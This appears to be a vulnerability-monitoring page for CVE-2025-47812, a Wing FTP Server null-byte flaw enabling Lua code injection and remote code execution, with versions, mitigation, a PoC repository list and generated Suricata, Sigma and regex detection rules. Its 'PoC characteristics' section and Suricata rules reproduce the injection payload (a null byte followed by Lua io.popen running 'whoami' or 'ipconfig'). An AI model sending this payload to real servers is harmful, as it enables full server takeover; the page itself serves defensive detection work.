Wftpserver Wing FTP Server
Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability
In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\0' bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 7.4.4
Fixed in 7.4.4
Mitigation
Upgrade Wing FTP Server to 7.4.4 or later.
Timeline
Days relative to CVE publicationFirst public PoC 8.5 days before publication; added to CISA KEV 4 days after publication. First PoC: 4m3rr0r/CVE-2025-47812-poc (created 1 Jul 2025, found by us: backfilled).
PoC repositories
Found on GitHub.17 PoCs · 1 pending · 1 informational · 1 not a PoC
PoCs 17
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| 4m3rr0r/CVE-2025-47812-poc | 1 Jul 2025 −8.5 d | 54 | PoC |
| 0xcan1337/CVE-2025-47812-poC | 1 Jul 2025 −8.2 d | 13 | PoC |
| 0xgh057r3c0n/CVE-2025-47812 | 2 Jul 2025 −7.1 d | 3 | PoC |
| ill-deed/WingFTP-CVE-2025-47812-illdeed | 4 Jul 2025 −5.3 d | 0 | PoC |
| pevinkumar10/CVE-2025-47812 | 7 Jul 2025 −2.4 d | 0 | PoC |
| rxerium/CVE-2025-47812 | 16 Jul 2025 +6.3 d | 0 | PoC via PoC Index |
| blindma1den/CVE-2025-47812 | 17 Jul 2025 +7.3 d | 1 | PoC |
| r0otk3r/CVE-2025-47812 | 27 Jul 2025 +18 d | 2 | PoC |
| dkstar11q/Blackash-CVE-2025-47812 | 8 Sep 2025 +61 d | 0 | PoC |
| matesz44/CVE-2025-47812 | 15 Feb 2026 +220 d | 0 | PoC |
| shadowgit30/CVE-2025-47812 | 17 Feb 2026 +223 d | 2 | PoC |
| havbay/CVE-2025-47812-PoC | 18 Feb 2026 +223 d | 0 | PoC |
| estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC | 19 Feb 2026 +225 d | 2 | PoC |
| popyue/CVE-2025-47812 | 22 Feb 2026 +228 d | 0 | PoC |
| 0xjuarez/CVE-2025-47812 | 24 Feb 2026 +229 d | 1 | PoC |
| H3XploR/Exploit_CVE-2025-47812 | 24 Apr 2026 +289 d | 0 | PoC |
| 0xS4N4TG/CVE-2025-47812 | 24 May 2026 +319 d | 0 | PoC |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| B1ack4sh/Blackash-CVE-2025-47812 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Majdae/CVE-2025-47812-Research | 9 Apr 2026 +274 d | 1 | Informational · write-up |
Not a PoC 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| d3vn0mi/CVE-2025-471812-POC | 22 Feb 2026 +228 d | 0 | Not a PoC · unrelated |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) | 2 Jul 2025 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812) (exploit/multi/http/wingftp_null_byte_rce) | 1 Jul 2025 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: Wing FTP Server Authenticated Command Execution (exploit/windows/ftp/wing_ftp_admin_exec) | 7 Oct 2025 | 14 Nov 2026 |
| nuclei template | nuclei template: Wing FTP Server <= 7.4.3 - Remote Code Execution | 1 Jul 2025 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 17 PoC reposPOST /loginok.html
- Key headers
# no uid "connection": keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept: */*Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr-FR,fr;q=0.9Accept-Language: en-US,en;q=0.9Accept-Language: en-US,en;q=0.5Cache-Control: max-age=0Cookie: client_lang=frenchCookie: client_lang=englishOrigin: {var}Origin: http://localhostPriority: u=0, iReferer: {var}/login.htmlReferer: http://localhost/login.html?lang=frenchReferer: {var}/login.html?lang=englishReferer: {var}/loginok.htmlSec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1- Body markers
1=username=anonymous�]] local h = io.popen("whoami") local r = h:read("*a") h:close() print(r) --password=username_val=anonymouspassword_val=username=anonymous�]] local h = io.popen("ipconfig") local r = h:read("*a") h:close() print(r) --1username=anonymous�]] local h = io.popen("username=inapplication/x-www-form-urlencoded- Ports
- 5466, 8080
- PoC User-Agent
Mozilla/5.0Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Mozilla/5.0 (X11; Linux x86_64)Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0- Seen in
- 14 repos: 0xcan1337/CVE-2025-47812-poC, 0xgh057r3c0n/CVE-2025-47812, 0xjuarez/CVE-2025-47812, 4m3rr0r/CVE-2025-47812-poc, H3XploR/Exploit_CVE-2025-47812, blindma1den/CVE-2025-47812, dkstar11q/Blackash-CVE-2025-47812, estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC, havbay/CVE-2025-47812-PoC, ill-deed/WingFTP-CVE-2025-47812-illdeed, matesz44/CVE-2025-47812, popyue/CVE-2025-47812, r0otk3r/CVE-2025-47812, shadowgit30/CVE-2025-47812
- Evidence
- 0xcan1337/CVE-2025-47812-poC/CVE-2025-47812-poC.py:36 0xcan1337/CVE-2025-47812-poC/CVE-2025-47812-poC.py:75 0xgh057r3c0n/CVE-2025-47812/CVE-2025-47812.py:57 0xjuarez/CVE-2025-47812/CVE-2025-47812.py:172 4m3rr0r/CVE-2025-47812-poc/CVE-2025-47812.py:72 H3XploR/Exploit_CVE-2025-47812/SAVE_request_rce.txt:1
GET /dir.html
- Key headers
Accept: {var}Accept-Language: {var}Cookie: UID={var}Priority: u=0, iUpgrade-Insecure-Requests: 1- Ports
- 5466, 8080
- Seen in
- 7 repos: 0xgh057r3c0n/CVE-2025-47812, 0xjuarez/CVE-2025-47812, 4m3rr0r/CVE-2025-47812-poc, estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC, matesz44/CVE-2025-47812, r0otk3r/CVE-2025-47812, shadowgit30/CVE-2025-47812
- Evidence
- 0xgh057r3c0n/CVE-2025-47812/CVE-2025-47812.py:85 0xjuarez/CVE-2025-47812/CVE-2025-47812.py:205 4m3rr0r/CVE-2025-47812-poc/CVE-2025-47812.py:106 estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC/CVE-2025-47812.py:76 matesz44/CVE-2025-47812/CVE-2025-47812.sh:19 r0otk3r/CVE-2025-47812/wingftp_cve_2025_47812.py:88
GET /login.html
- Query
lang=english- PoC User-Agent
Mozilla/5.0- Seen in
- 2 repos: popyue/CVE-2025-47812, rxerium/CVE-2025-47812
- Evidence
- popyue/CVE-2025-47812/exploit.py:293 rxerium/CVE-2025-47812/template.yaml:18
GET /logout.html
- Key headers
Cookie: UID={var}- PoC User-Agent
Mozilla/5.0- Seen in
- 2 repos: estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC, popyue/CVE-2025-47812
- Evidence
- estebanzarate/CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC/CVE-2025-47812.py:93 popyue/CVE-2025-47812/exploit.py:195
POST /dir.html
- Key headers
Accept: */*Accept-Language: fr-FR,fr;q=0.9Cookie: client_lang=french; viewmode=0; UID=Origin: http://localhostReferer: http://localhost/main.htmlSec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin- Content-Type
application/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36- Seen in
- 1 repo: H3XploR/Exploit_CVE-2025-47812
- Evidence
- H3XploR/Exploit_CVE-2025-47812/request_dir_with_token.txt:1
GET //{var}/dir.html
- Key headers
Accept: */*Accept-Language: en-USCookie: client_lang=englishReferer: http://{var}/login.html- Content-Type
application/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0- Seen in
- 1 repo: pevinkumar10/CVE-2025-47812
- Evidence
- pevinkumar10/CVE-2025-47812/exploit.py:193
POST //{var}/loginok.html
- Key headers
Accept: */*Accept-Language: en-USCookie: client_lang=englishReferer: http://{var}/login.html- Content-Type
application/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0- Seen in
- 1 repo: pevinkumar10/CVE-2025-47812
- Evidence
- pevinkumar10/CVE-2025-47812/exploit.py:152
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/loginok\.html(?:[?#].*)?$
(?i)^/dir\.html(?:[?#].*)?$
(?i)^/login\.html\?(?:.*&)?lang=english
(?i)^/logout\.html(?:[?#].*)?$
(?i)^/dir\.html(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [5466,8080] (msg:"GG PoC-Monitor CVE-2025-47812 wftpserver Wing FTP Server exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/loginok.html"; http.header; content:"# no uid
|22|connection|22|: keep-alive"; nocase; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,image/apng,*/*|3b|q=0.8,application/signed-exchange|3b|v=b3|3b|q=0.7"; nocase; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,*/*|3b|q=0.8"; nocase; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: fr-FR,fr|3b|q=0.9"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.9"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.5"; nocase; http.header; content:"Cache-Control: max-age=0"; nocase; http.header; content:"Cookie: client_lang=french"; nocase; http.header; content:"Cookie: client_lang=english"; nocase; http.header_names; content:"Origin"; nocase; http.header; content:"Origin: http://localhost"; nocase; http.header; content:"Priority: u=0, i"; nocase; http.header_names; content:"Referer"; nocase; http.header; content:"Referer: http://localhost/login.html?lang=french"; nocase; http.header_names; content:"Referer"; nocase; http.header_names; content:"Referer"; nocase; http.header; content:"Sec-Ch-Ua: |22|Not-A.Brand|22||3b|v=|22|24|22|, |22|Chromium|22||3b|v=|22|146|22|"; nocase; http.header; content:"Sec-Ch-Ua: |22|Not.A/Brand|22||3b|v=|22|99|22|, |22|Chromium|22||3b|v=|22|136|22|"; nocase; http.header; content:"Sec-Ch-Ua-Mobile: ?0"; nocase; http.header; content:"Sec-Ch-Ua-Platform: |22|Linux|22|"; nocase; http.header; content:"Sec-Ch-Ua-Platform: |22|Windows|22|"; nocase; http.header; content:"Sec-Fetch-Dest: document"; nocase; http.header; content:"Sec-Fetch-Mode: navigate"; nocase; http.header; content:"Sec-Fetch-Site: same-origin"; nocase; http.header; content:"Sec-Fetch-User: ?1"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.request_body; content:"1="; http.request_body; content:"username=anonymous�]]
local h = io.popen(|22|whoami|22|)
local r = h:read(|22|*a|22|)
h:close()
print(r)
--"; http.request_body; content:"password="; http.request_body; content:"username_val=anonymous"; http.request_body; content:"password_val="; http.request_body; content:"username=anonymous�]]
local h = io.popen(|22|ipconfig|22|)
local r = h:read(|22|*a|22|)
h:close()
print(r)
--"; http.request_body; content:"1"; http.request_body; content:"username=anonymous�]]
local h = io.popen(|22|"; http.request_body; content:"username="; reference:url,poc.griffinguard.io/cve/CVE-2025-47812; classtype:web-application-attack; sid:9200393; rev:1;)
alert http any any -> $HOME_NET [5466,8080] (msg:"GG PoC-Monitor CVE-2025-47812 wftpserver Wing FTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/dir.html"; http.header_names; content:"Accept"; nocase; http.header_names; content:"Accept-Language"; nocase; http.header; content:"Cookie: UID="; nocase; http.header; content:"Priority: u=0, i"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2025-47812; classtype:web-application-attack; sid:9866495; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-47812 wftpserver Wing FTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/login.html"; http.uri; content:"lang=english"; reference:url,poc.griffinguard.io/cve/CVE-2025-47812; classtype:web-application-attack; sid:9314437; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-47812 wftpserver Wing FTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/logout.html"; http.header; content:"Cookie: UID="; nocase; reference:url,poc.griffinguard.io/cve/CVE-2025-47812; classtype:web-application-attack; sid:9138174; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-47812 wftpserver Wing FTP Server exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/dir.html"; http.header; content:"Accept: */*"; nocase; http.header; content:"Accept-Language: fr-FR,fr|3b|q=0.9"; nocase; http.header; content:"Cookie: client_lang=french|3b| viewmode=0|3b| UID="; nocase; http.header; content:"Origin: http://localhost"; nocase; http.header; content:"Referer: http://localhost/main.html"; nocase; http.header; content:"Sec-Ch-Ua: |22|Not-A.Brand|22||3b|v=|22|24|22|, |22|Chromium|22||3b|v=|22|146|22|"; nocase; http.header; content:"Sec-Ch-Ua-Mobile: ?0"; nocase; http.header; content:"Sec-Ch-Ua-Platform: |22|Windows|22|"; nocase; http.header; content:"Sec-Fetch-Dest: empty"; nocase; http.header; content:"Sec-Fetch-Mode: cors"; nocase; http.header; content:"Sec-Fetch-Site: same-origin"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2025-47812; classtype:web-application-attack; sid:9878857; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: wftpserver Wing FTP Server exploit attempt (CVE-2025-47812)
id: gg-pocmon-cve-2025-47812-9200393
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-47812. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-47812
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/loginok.html'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2025.47812
title: wftpserver Wing FTP Server exploit attempt (CVE-2025-47812)
id: gg-pocmon-cve-2025-47812-9866495
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-47812. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-47812
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/dir.html'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2025.47812
title: wftpserver Wing FTP Server exploit attempt (CVE-2025-47812)
id: gg-pocmon-cve-2025-47812-9314437
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-47812. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-47812
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/login.html'
cs-uri-query|contains|all:
- 'lang=english'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2025.47812
title: wftpserver Wing FTP Server exploit attempt (CVE-2025-47812)
id: gg-pocmon-cve-2025-47812-9138174
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-47812. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-47812
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/logout.html'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2025.47812
title: wftpserver Wing FTP Server exploit attempt (CVE-2025-47812)
id: gg-pocmon-cve-2025-47812-9878857
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-47812. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2025-47812
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/dir.html'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2025.47812